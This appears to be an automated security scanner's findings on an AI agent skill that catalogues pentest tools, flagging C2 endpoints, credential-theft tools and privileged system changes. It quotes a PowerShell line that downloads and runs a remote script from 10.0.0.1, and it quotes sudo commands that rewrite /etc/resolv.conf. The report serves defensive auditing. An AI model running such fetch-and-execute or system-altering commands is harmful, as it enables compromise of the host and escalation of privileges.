awesome-pentest-tools-catalog

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.90). Yes — the list contains high-risk indicators: a direct PowerShell script URL (http://10.0.0.1/PowerUp.ps1), tunnel/C2-style endpoints (tunnel.php, tunnel.jsp, http://10.0.0.1:8080, localhost:1337/api/v2), and URLs intended for fuzzing/discovery (https://target.com/FUZZ) that are commonly used to host or fetch exploits/implants, so the set should be treated as a suspicious download/source vector.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This catalog contains explicit, actionable instructions and code snippets for remote code execution, C2/listener creation, webshell/backdoor management, reverse shells/tunneling, and credential-theft tools (e.g., Mimikatz, LaZagne, pass-the-hash), making it highly usable for deliberate malicious abuse despite its stated pentest context.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill includes a PowerShell runtime command that downloads and executes remote code via IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/PowerUp.ps1'), which is a clear runtime external dependency that executes remote code.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill includes explicit sudo commands (e.g., sudo setcap ...) and instructions that modify system files (echo ... | sudo tee /etc/resolv.conf) and install services, which push the agent to obtain elevated privileges and change the host state.